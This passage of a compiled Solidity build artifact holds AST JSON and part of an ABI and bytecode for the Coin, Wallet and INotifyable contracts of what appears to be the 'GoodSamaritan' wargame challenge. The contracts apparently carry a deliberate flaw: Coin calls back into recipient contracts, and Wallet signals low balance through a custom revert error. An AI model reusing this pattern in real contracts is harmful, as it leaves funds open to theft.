pure"}},"id":53219,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1568:44:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53220,"nodeType":"RevertStatement","src":"1561:51:87"}]},"id":53222,"nodeType":"IfStatement","src":"1274:349:87","trueBody":{"id":53215,"nodeType":"Block","src":"1305:236:87","statements":[{"expression":{"id":53195,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53190,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1319:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53193,"indexExpression":{"expression":{"id":53191,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1328:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53192,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1332:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1328:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1319:20:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"id":53194,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1343:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1319:31:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53196,"nodeType":"ExpressionStatement","src":"1319:31:87"},{"expression":{"id":53201,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":53197,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53153,"src":"1364:8:87","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":53199,"indexExpression":{"id":53198,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"1364:15:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"id":53200,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1383:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1364:26:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":53202,"nodeType":"ExpressionStatement","src":"1364:26:87"},{"condition":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":53203,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1409:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53204,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1415:10:87","memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":47982,"src":"1409:16:87","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$attached_to$_t_address_$","typeString":"function (address) view returns (bool)"}},"id":53205,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1409:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53214,"nodeType":"IfStatement","src":"1405:126:87","trueBody":{"id":53213,"nodeType":"Block","src":"1429:102:87","statements":[{"expression":{"arguments":[{"id":53210,"name":"amount_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53177,"src":"1508:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":53207,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53175,"src":"1494:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":53206,"name":"INotifyable","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53327,"src":"1482:11:87","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_INotifyable_$53327_$","typeString":"type(contract INotifyable)"}},"id":53208,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_INotifyable_$53327","typeString":"contract INotifyable"}},"id":53209,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1501:6:87","memberName":"notify","nodeType":"MemberAccess","referencedDeclaration":53326,"src":"1482:25:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":53211,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1482:34:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53212,"nodeType":"ExpressionStatement","src":"1482:34:87"}]}}]}}]},"functionSelector":"a9059cbb","implemented":true,"kind":"function","modifiers":[],"name":"transfer","nameLocation":"1105:8:87","parameters":{"id":53178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53175,"mutability":"mutable","name":"dest_","nameLocation":"1122:5:87","nodeType":"VariableDeclaration","scope":53224,"src":"1114:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53174,"name":"address","nodeType":"ElementaryTypeName","src":"1114:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53177,"mutability":"mutable","name":"amount_","nameLocation":"1137:7:87","nodeType":"VariableDeclaration","scope":53224,"src":"1129:15:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53176,"name":"uint256","nodeType":"ElementaryTypeName","src":"1129:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1113:32:87"},"returnParameters":{"id":53179,"nodeType":"ParameterList","parameters":[],"src":"1155:0:87"},"scope":53225,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Coin","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53225],"name":"Coin","nameLocation":"799:4:87","scope":53328,"usedErrors":[53159],"usedEvents":[]},{"id":53321,"nodeType":"ContractDefinition","src":"1633:868:87","nodes":[{"id":53227,"nodeType":"VariableDeclaration","src":"1695:20:87","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"1710:5:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53226,"name":"address","nodeType":"ElementaryTypeName","src":"1695:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53230,"nodeType":"VariableDeclaration","src":"1722:16:87","nodes":[],"constant":false,"functionSelector":"11df9995","mutability":"mutable","name":"coin","nameLocation":"1734:4:87","scope":53321,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53229,"nodeType":"UserDefinedTypeName","pathNode":{"id":53228,"name":"Coin","nameLocations":["1722:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"1722:4:87"},"referencedDeclaration":53225,"src":"1722:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"public"},{"id":53232,"nodeType":"ErrorDefinition","src":"1745:18:87","nodes":[],"errorSelector":"5fc483c5","name":"OnlyOwner","nameLocation":"1751:9:87","parameters":{"id":53231,"nodeType":"ParameterList","parameters":[],"src":"1760:2:87"}},{"id":53234,"nodeType":"ErrorDefinition","src":"1768:25:87","nodes":[],"errorSelector":"ad3a8b9e","name":"NotEnoughBalance","nameLocation":"1774:16:87","parameters":{"id":53233,"nodeType":"ParameterList","parameters":[],"src":"1790:2:87"}},{"id":53247,"nodeType":"ModifierDefinition","src":"1799:116:87","nodes":[],"body":{"id":53246,"nodeType":"Block","src":"1820:95:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":53239,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53236,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1834:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1838:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1834:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":53238,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1848:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1834:19:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53244,"nodeType":"IfStatement","src":"1830:68:87","trueBody":{"id":53243,"nodeType":"Block","src":"1855:43:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53240,"name":"OnlyOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53232,"src":"1876:9:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53241,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1876:11:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53242,"nodeType":"RevertStatement","src":"1869:18:87"}]}},{"id":53245,"nodeType":"PlaceholderStatement","src":"1907:1:87"}]},"name":"onlyOwner","nameLocation":"1808:9:87","parameters":{"id":53235,"nodeType":"ParameterList","parameters":[],"src":"1817:2:87"},"virtual":false,"visibility":"internal"},{"id":53256,"nodeType":"FunctionDefinition","src":"1921:49:87","nodes":[],"body":{"id":53255,"nodeType":"Block","src":"1935:35:87","nodes":[],"statements":[{"expression":{"id":53253,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53250,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53227,"src":"1945:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53251,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"1953:3:87","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1957:6:87","memberName":"sender","nodeType":"MemberAccess","src":"1953:10:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1945:18:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53254,"nodeType":"ExpressionStatement","src":"1945:18:87"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53248,"nodeType":"ParameterList","parameters":[],"src":"1932:2:87"},"returnParameters":{"id":53249,"nodeType":"ParameterList","parameters":[],"src":"1935:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53286,"nodeType":"FunctionDefinition","src":"1976:273:87","nodes":[],"body":{"id":53285,"nodeType":"Block","src":"2028:221:87","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53271,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":53267,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2094:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53266,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2086:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53265,"name":"address","nodeType":"ElementaryTypeName","src":"2086:7:87","typeDescriptions":{}}},"id":53268,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2086:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53263,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2072:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2077:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2072:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53269,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2072:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"hexValue":"3130","id":53270,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2103:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"},"src":"2072:33:87","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":53283,"nodeType":"Block","src":"2163:80:87","statements":[{"expression":{"arguments":[{"id":53279,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53258,"src":"2222:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":53280,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2229:2:87","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":53276,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2208:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53278,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2213:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2208:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53281,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2208:24:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53282,"nodeType":"ExpressionStatement","src":"2208:24:87"}]},"id":53284,"nodeType":"IfStatement","src":"2068:175:87","trueBody":{"id":53275,"nodeType":"Block","src":"2107:50:87","statements":[{"errorCall":{"arguments":[],"expression":{"argumentTypes":[],"id":53272,"name":"NotEnoughBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53234,"src":"2128:16:87","typeDescriptions":{"typeIdentifier":"t_function_error_pure$__$returns$__$","typeString":"function () pure"}},"id":53273,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2128:18:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53274,"nodeType":"RevertStatement","src":"2121:25:87"}]}}]},"functionSelector":"f836afce","implemented":true,"kind":"function","modifiers":[{"id":53261,"kind":"modifierInvocation","modifierName":{"id":53260,"name":"onlyOwner","nameLocations":["2018:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2018:9:87"},"nodeType":"ModifierInvocation","src":"2018:9:87"}],"name":"donate10","nameLocation":"1985:8:87","parameters":{"id":53259,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53258,"mutability":"mutable","name":"dest_","nameLocation":"2002:5:87","nodeType":"VariableDeclaration","scope":53286,"src":"1994:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53257,"name":"address","nodeType":"ElementaryTypeName","src":"1994:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1993:15:87"},"returnParameters":{"id":53262,"nodeType":"ParameterList","parameters":[],"src":"2028:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53307,"nodeType":"FunctionDefinition","src":"2255:161:87","nodes":[],"body":{"id":53306,"nodeType":"Block","src":"2316:100:87","nodes":[],"statements":[{"expression":{"arguments":[{"id":53296,"name":"dest_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53288,"src":"2373:5:87","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"arguments":[{"id":53301,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2402:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Wallet_$53321","typeString":"contract Wallet"}],"id":53300,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2394:7:87","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53299,"name":"address","nodeType":"ElementaryTypeName","src":"2394:7:87","typeDescriptions":{}}},"id":53302,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2394:13:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":53297,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2380:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53298,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2385:8:87","memberName":"balances","nodeType":"MemberAccess","referencedDeclaration":53153,"src":"2380:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":53303,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2380:28:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":53293,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2359:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53295,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2364:8:87","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":53224,"src":"2359:13:87","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":53304,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2359:50:87","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53305,"nodeType":"ExpressionStatement","src":"2359:50:87"}]},"functionSelector":"e40b8658","implemented":true,"kind":"function","modifiers":[{"id":53291,"kind":"modifierInvocation","modifierName":{"id":53290,"name":"onlyOwner","nameLocations":["2306:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2306:9:87"},"nodeType":"ModifierInvocation","src":"2306:9:87"}],"name":"transferRemainder","nameLocation":"2264:17:87","parameters":{"id":53289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53288,"mutability":"mutable","name":"dest_","nameLocation":"2290:5:87","nodeType":"VariableDeclaration","scope":53307,"src":"2282:13:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53287,"name":"address","nodeType":"ElementaryTypeName","src":"2282:7:87","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2281:15:87"},"returnParameters":{"id":53292,"nodeType":"ParameterList","parameters":[],"src":"2316:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":53320,"nodeType":"FunctionDefinition","src":"2422:77:87","nodes":[],"body":{"id":53319,"nodeType":"Block","src":"2470:29:87","nodes":[],"statements":[{"expression":{"id":53317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53315,"name":"coin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53230,"src":"2480:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53316,"name":"coin_","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53310,"src":"2487:5:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"src":"2480:12:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"id":53318,"nodeType":"ExpressionStatement","src":"2480:12:87"}]},"functionSelector":"82e46b75","implemented":true,"kind":"function","modifiers":[{"id":53313,"kind":"modifierInvocation","modifierName":{"id":53312,"name":"onlyOwner","nameLocations":["2460:9:87"],"nodeType":"IdentifierPath","referencedDeclaration":53247,"src":"2460:9:87"},"nodeType":"ModifierInvocation","src":"2460:9:87"}],"name":"setCoin","nameLocation":"2431:7:87","parameters":{"id":53311,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53310,"mutability":"mutable","name":"coin_","nameLocation":"2444:5:87","nodeType":"VariableDeclaration","scope":53320,"src":"2439:10:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"},"typeName":{"id":53309,"nodeType":"UserDefinedTypeName","pathNode":{"id":53308,"name":"Coin","nameLocations":["2439:4:87"],"nodeType":"IdentifierPath","referencedDeclaration":53225,"src":"2439:4:87"},"referencedDeclaration":53225,"src":"2439:4:87","typeDescriptions":{"typeIdentifier":"t_contract$_Coin_$53225","typeString":"contract Coin"}},"visibility":"internal"}],"src":"2438:12:87"},"returnParameters":{"id":53314,"nodeType":"ParameterList","parameters":[],"src":"2470:0:87"},"scope":53321,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"Wallet","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[53321],"name":"Wallet","nameLocation":"1642:6:87","scope":53328,"usedErrors":[53232,53234],"usedEvents":[]},{"id":53327,"nodeType":"ContractDefinition","src":"2503:71:87","nodes":[{"id":53326,"nodeType":"FunctionDefinition","src":"2531:41:87","nodes":[],"functionSelector":"98d078b4","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"2540:6:87","parameters":{"id":53324,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53323,"mutability":"mutable","name":"amount","nameLocation":"2555:6:87","nodeType":"VariableDeclaration","scope":53326,"src":"2547:14:87","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53322,"name":"uint256","nodeType":"ElementaryTypeName","src":"2547:7:87","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2546:16:87"},"returnParameters":{"id":53325,"nodeType":"ParameterList","parameters":[],"src":"2571:0:87"},"scope":53327,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"INotifyable","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[53327],"name":"INotifyable","nameLocation":"2513:11:87","scope":53328,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":87} \ No newline at end of file diff --git a/contracts/out/GoodSamaritan.sol/Wallet.json b/contracts/out/GoodSamaritan.sol/Wallet.json new file mode 100644 index 000000000..e5689c1f0 --- /dev/null +++ b/contracts/out/GoodSamaritan.sol/Wallet.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"coin","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract Coin"}],"stateMutability":"view"},{"type":"function","name":"donate10","inputs":[{"name":"dest_","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"setCoin","inputs":[{"name":"coin_","type":"address","internalType":"contract Coin"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferRemainder","inputs":[{"name":"dest_","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"error","name":"NotEnoughBalance","inputs":[]},{"type":"error","name":"OnlyOwner","inputs":[]}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b505f80546001600160a01b031916331790556104008061002e5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097575b5f80fd5b60015461007b906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100aa6100a5366004610391565b6100e4565b005b5f5461007b906001600160a01b031681565b6100aa6100cc366004610391565b610148565b6100aa6100df366004610391565b61025b565b5f546001600160a01b0316331461010e57604051635fc483c560e01b815260040160405180910390fd5b600180547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461017257604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b81523060048201526001600160a01b039091169063a9059cbb90839083906327e235e390602401602060405180830381865afa1580156101c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101e691906103b3565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03909216600483015260248201526044015b5f604051808303815f87803b158015610242575f80fd5b505af1158015610254573d5f803e3d5ffd5b5050505050565b5f546001600160a01b0316331461028557604051635fc483c560e01b815260040160405180910390fd5b6001546040516327e235e360e01b8152306004820152600a916001600160a01b0316906327e235e390602401602060405180830381865afa1580156102cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102f091906103b3565b1015610328576040517fad3a8b9e00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6001546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600a60248301529091169063a9059cbb9060440161022b565b50565b6001600160a01b038116811461037a575f80fd5b5f602082840312156103a1575f80fd5b81356103ac8161037d565b9392505050565b5f602082840312156103c3575f80fd5b505191905056fea264697066735822122034a4a3cb0de740fd1e8ffe7d7b8af2cb6145f1e332ec60827493447c2818318d64736f6c63430008180033","sourceMap":"1633:868:87:-:0;;;1921:49;;;;;;;;;-1:-1:-1;1945:5:87;:18;;-1:-1:-1;;;;;;1945:18:87;1953:10;1945:18;;;1633:868;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610064575f3560e01c80638da5cb5b1161004d5780638da5cb5b146100ac578063e40b8658146100be578063f836afce146100d1575f80fd5b806311df99951461006857806382e46b7514610097